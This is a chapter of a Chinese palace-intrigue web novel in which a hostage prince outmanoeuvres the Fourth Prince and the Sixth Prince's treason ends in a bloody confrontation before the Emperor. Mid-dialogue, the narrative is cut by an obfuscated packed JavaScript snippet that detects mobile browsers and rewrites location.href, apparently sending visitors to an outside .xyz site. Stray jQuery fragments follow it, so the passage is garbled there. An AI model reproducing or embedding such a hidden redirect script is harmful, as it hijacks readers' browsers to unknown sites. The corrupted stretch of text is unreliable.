65. 破局·六王溃败

作品:《质子今天炸毛了没(重生)

    陆丰凛难得睡得安稳,在稔儿离开后,整整三个时辰无梦无扰。醒来时也觉神清气爽,忆及晌午两人交谈,他唤来莫家兄弟:“莫八,为我寻把椅子。”


    “椅子?”


    “对,能让我坐起来,且能抬起搬到其他地方去。”


    莫八连忙摆手,连带音量都提高不少:“您现下还在养伤,而且周女君临走时特意吩咐要照顾好您,为何要这样着急,等等不成吗?”


    “我等得了,他们等不了。”少年果断道,“去吧。”


    周将军说得对,生灵涂炭百姓无辜,既得尊崇同担责任。


    他有他应保护的人,要做的事,不可推诿。


    陆丰凛转头又看向莫九:“拿一支藤条来。”


    莫氏兄弟闻声大惊失色,彼此对视心下不安。


    这是公子最为紧要关头,与驯北恩师的联络方式,其中密语不为人知,以寒鸦子夜互传。


    难道恒国,要有大事发生?


    酉时三刻。


    一架马车悄无声息出现在傅宅后巷前,莫九左顾右盼,瞧四下无人,与兄长一道将马车上的“木椅”搬了下来,继而消失在门后。


    内堂,木门紧闭。


    四皇子坐于正位,蹙眉不语,傅祺章坐其左侧,垂眸沉默,而殿中央放着把木椅,椅上人面色如常:“我有办法,让驯北延迟出兵,打乱他的计划,心急之下易现破绽。”


    周喜稔将此事坦然告知表哥,攻局并不难,但如何将六王爷绳之以法却难上加难。没有任何证据能够证明,六王爷是与驯北王勾结之人,贸然扣罪,难以服众。


    偏偏,陆丰凛却有奇招。


    四皇子冷声:“你在与本王谈条件?”


    “不然呢。”陆丰凛轻笑一声,“现在反倒是你,没有资格拒绝。”


    眼下六王爷联线已断,无法获得任何消息,也就代表他被孤立在计划之外,倘若驯北延迟出兵,互信仅会传至四王爷先前旧部,六王妃已亡,无人能够帮他递消息。


    请君入瓮,将计就计。


    让六王爷自曝其短,神仙难救。


    “你可以选择杀了我,但你不会有完胜把握,一旦驯北兵起,朝臣跪求,如此看重颜面的殿下会做何抉择?”


    四皇子是聪明人,之所以明了,方才恼怒。


    他居然被一个质子威胁。


    “说吧,你想要什么。”四皇子压抑怒意,吐出几个字。


    “要你放弃周喜稔。”


    四皇子素来自傲,辩驳道:“你可知道,纵使本王放过她,将军之女不会与你这样的人有何牵扯。即便你们日后在一起,也未必能有舒坦日子,本王奉劝你一句,不要因贪念害了你的故国。”


    陆丰凛直视四皇子,勾唇道:“看来殿下已有决断。”


    “得不到的东西,本王宁愿毁掉。”


    “对你而言,利益比感情更重要,你不可能为了任何女子放弃权力与皇位。”


    四皇子闻言面露不屑:“那你呢?”


    “我愿为她放弃所有,哪怕生命。”


    “说比做容易得多。”


    木椅上的少年摇头:“你不会懂,银杏只有在秋天才会变黄,我早就注意到了,你荷包上绣的是黄色银杏,大抵是从你身边的傅大人口中,得知稔儿的喜好,但她最爱银杏翠绿时,纵使无人观赏,却依旧生命力顽强,你们根本不是一类人。”


    说罢,陆丰凛从怀中拿出青绿色银杏药瓶,在四皇子眼前晃过,“我会赢的。”


    “……”


    “今日到此为止,殿下仅有一晚考虑时间,若明早悬而未决,不等您了,这功劳或许可以另寻买家。”


    “你——”


    四皇子双拳紧握,目眦欲裂,再无平日儒雅温润之态。


    傅祺章沉默整晚,在少年即将离开时,走到他身边,手搭在木椅上,俯身低声道:“倘若驯北王当真与六王爷勾结,你可知自己的下场。”


    陆丰凛头一歪,随意笑道:“无论陛下如何惩治驯北,他罪有应得,同理,我也是如此,身为质子,有我的责任所在。”


    他并不畏惧死亡。


    但为了稔儿的心愿,可以付诸性命。


    砰。


    四皇子手中的茶盏轻砸在桌上。


    “要如何应诺。”


    少年早已料到他的决定,瞥了一眼傅祺章:“由这位新任御史傅大人,为殿下拟定登基后的第一张圣旨。”


    是夜,傅宅灯火通明,内堂大门紧闭,连只苍蝇都飞不进去。


    余下几日,六王爷气定神闲,等待战报传至上京。


    但约定当天……


    安安静静,毫无音讯。


    翌日寅时一刻,天色尚未亮,六王步伐飞速,赶在所有人前头奏请面圣。


    “早朝时辰未至,父皇也尚在安养中,六皇叔怎得如此着急?”


    四皇子衣装齐整站在陛下寝宫前。


    “噩梦烦扰,祖先托思,担忧皇兄,所以前来看看。”六王双目浮肿,想必一夜未眠,按计划,昨日就是驯北出兵之时,四王爷旧部譬如孙尚书一类人,也该联书奏请四皇子亲征迎敌。


    但为何……


    一切都好像是他在幻想一般,什么都不曾发生。他亲眼见六王妃拿回的驯北王亲笔信,可是……


    烦躁不安,心乱如麻,难道驯北王变节了?又或是孙尚书等人发现了什么,甚至他都开始怀疑六王妃死而复生向陛下告发!


    筹谋多年的大业,眼瞧着就到最为紧要关头,为何突然间终止不前。


    四皇子轻叹:“皇叔这些天都不曾进宫有所不知,父皇近来也被噩梦烦扰,您若能相陪在旁,是极好之事。王公公,带皇叔进殿吧。”


    王忠站在门右侧,恭恭敬敬弯腰伸手示意:“王爷请。”


    六王爷瞥了眼四皇子,若有所思。


    但就当他一只脚刚刚迈进寝宫内阁时,腰间突然被一把匕首所抵,瞬间从角落冒出数十名侍卫,将其团团围住。


    宫人将烛灯点燃,殿内如同白昼,皇上面色苍白,坐在塌上冷眼瞧着自己的手足。


    “皇兄,您这是做什么!”六王佯装慌乱,单膝跪地,神色谦卑。


    “咳咳……”皇上重咳两声,随后接过宫人递来的汤药,苦笑一声,“六弟,多日都不曾来看朕了。”


    六王爷言辞恳切:“皇兄,因臣弟近来染了风寒,担忧传给您,方才留于王府之内,您怎得突然


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822672|156709||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    与臣弟开这样大的玩笑!”


    皇上轻笑,摆了摆手,命殿内侍卫收刀站在一旁。六王爷重喘不止,脸如白霜。


    “当年,朕让你动手,了结四弟,让你背负多年愧疚,你大抵恨透了朕吧……”


    六王爷眉尾微动,垂眸未言。


    皇上疲惫地闭上眼:“你勾结驯北王,意欲何为啊?”


    “皇兄……可是听到小人谗言?臣弟万万不敢啊!”六王爷连忙上前几步,咣当跪下。


    “不敢。”皇上微眯双眸,“朕的人亲口回禀,称你利用你的王妃与驯北王通信,要让朕的儿子出边关迎敌,而后逼宫篡位,你还敢说自己无辜,六王妃的信,都在朕的手上!”


    说罢皇上颤抖着将一旁的“密信”扔在地上。


    “这上头的王爷所指为谁,难不成朕还有其他活着的兄弟?”


    作茧自缚。


    六王妃通信时,只写明王爷二字,她知晓是四王爷,驯北王知晓是四王爷,孙尚书知晓是四王爷。


    但这密信若落在皇上手中……


    皇上可不认为是四王爷!


    四皇子盯着地上散乱的密信,神色微变。


    “皇兄……”六王爷声色阴沉,跪在地上并不抬头。


    “畜生,朕没有你这样的兄弟!朕宁愿——”


    “父皇!”


    皇上因过从激动,连连重咳,四皇子忙上前为其抚背。


    “你……你既能杀了你的四哥,也自然……自然能下狠心杀了朕!你对你的发妻尚且无情无义,对亲生儿子狠心决绝,你……你不配是陈家的子孙……你……你不配去见列祖列宗!”


    “不配?”六王爷双眼血赤,缓缓抬头,“我何处不配?四哥狼子野心,侵占弟妻是配,王妃背信弃义,与人私情是配,世子野种一个是配,我的皇兄您,残杀手足是配?”


    六王低声笑着,边笑边站起身来,继而低笑转为狰狞大笑,直至涕泪横流。


    良久,他办张着嘴仰头望顶:“皇兄……您做那圣人可还做得惯?为四哥鸣不平,为那对母子鸣不平,说到底还是忌惮我与驯北互信,那便不要寻其他借口。四哥陷害您,是您让我杀了他,您的皇后若与人苟且诞下野种,还心心念念情郎打算除掉您,您又能宽宏大量到何种地步呢?您到底是慈悲心肠,还是虚伪至极啊?”


    皇上面容发青,手颤抖着指向六王:“你……你放肆……”


    “放肆……”六王低笑,“更放肆的,还在后头——”


    话未毕,六王瞬间从腰间抽出一把匕首当即向榻上人刺去,就在侍卫纷纷奔向前的刹那……


    一声惨吼,连带着血腥味蔓延开来,四皇子的侧脸被鲜血飞溅,滴滴在额头,眼睑,脸颊,下巴之上,他目光呆滞,浑身不住地发抖。


    王忠暗道不好,立刻示意侍卫,将六王爷“抬下来”。


    四皇子插在六王心口的刀,几乎快要穿透他的胸膛,力度之大难以想象。


    在六王意欲“弑君”之时,四皇子“护驾”,竟亲手杀了他的叔叔。


    下一刻,他仓皇跪倒在地,向他的父皇请罪。


    但陛下却突然俩眼一闭,侧歪着倒在榻上……


    “皇上!”